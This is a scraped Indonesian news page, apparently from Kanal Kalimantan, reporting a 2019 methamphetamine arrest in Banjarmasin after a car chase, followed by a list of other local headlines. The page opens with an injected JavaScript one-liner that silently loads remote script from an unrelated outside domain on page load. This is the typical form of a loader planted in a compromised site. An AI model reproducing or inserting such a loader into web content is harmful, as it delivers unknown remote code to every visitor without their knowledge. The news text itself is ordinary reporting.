(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sempat Kejar-kejaran dengan Polisi, Sabu 19,22 Gram di Bawah Jok Mobil Ayla


BANJARMASIN, Tiga paket besar nakoba jenis sabu seberat 19,22 gram berhasil digagaledarkan anggota Satuan Reserse Narkoba Polresta Banjarmasin, Minggu (31/3/2019). Penangkapan berawal dari penggeledah sebuah mobil Daihatsu Ayla warna hitam, di dalam mobil ditemukan satu plastik kresek hitam yang berisi tiga paket besar sabu-sabu.

Awalnya polisi mendapatkan informasi ada seseorang membawa narkotika jenis sabu menggunakan mobil Daihatsu Ayla di Jalan Veteran, kota Banjarmasin.

“Kami geledah mobil tersebut, ternyata di bawah jok mobil ditemukan barang bukti tiga paket sabu,” kata Kasat Resnarkoba Polresta Banjarmasin Kompol Herry Purwanto, Minggu (31/3/2019). Petugas melakukan penyelidikan, dengan membuntuti pelaku, setelah mengetahui dan sempat terjadi kejar-kejaran di jalan, akhirnya petugas dapat menghentikan mobil pelaku.

Mobil berhenti dan akhirnya pelaku ditangkap di Jalan Manarap Tengah, Komplek Griya Indah Lestari RT 06 Desa Manarap Tengah, Kecamatan Kertak Hanyar, Kabupaten Banjar.

Usai menghentikan mobol pelaku yang diketahui berinisial AR alias Fi’i (46) warga Veteran Gang Merpati, Kelurahan Melayu, Kecamatan Banjarmasin Tengah, petugas melakukan penggeledahan dan didapati plastik hitam berisi 3 paket sabu seberat 19,22 gram.

“Sabu itu disembunyikan Fi’i di bawah kursi jok mobil sebelah kiri,” ucap perwira lulusan Akpol angkatan 2002 itu.

Herry -panggilan akrab Kasat Resnarkoba- menambahkan, penangkapan terhadap Fi’i dilakukan pada sekitar pukul 23.40 Wita.

Atas temuan barang bukti tiga paket besar sabu itu akhirnya pelaku digiring ke Polresta Banjarmasin menjalani pemeriksaan dan proses hukum. Fi’i pun ditetapkan sebagai tersangka dijerat dengan pasal 112 ayat (2) UU RI No 35 Tahun 2009 Tentang Narkotika dengan ancaman hukuman minimal lima tahun penjara.

“Kasus ini terus kami kembangkan untuk mengetahui jaringan tersangka dan asal usul sabu tersebut,” tandasnya. (mario)

Reporter: Mario
Editor: KK

Desy Arfianty

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

3 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

5 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

6 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

7 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

7 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

11 jam ago

This website uses cookies.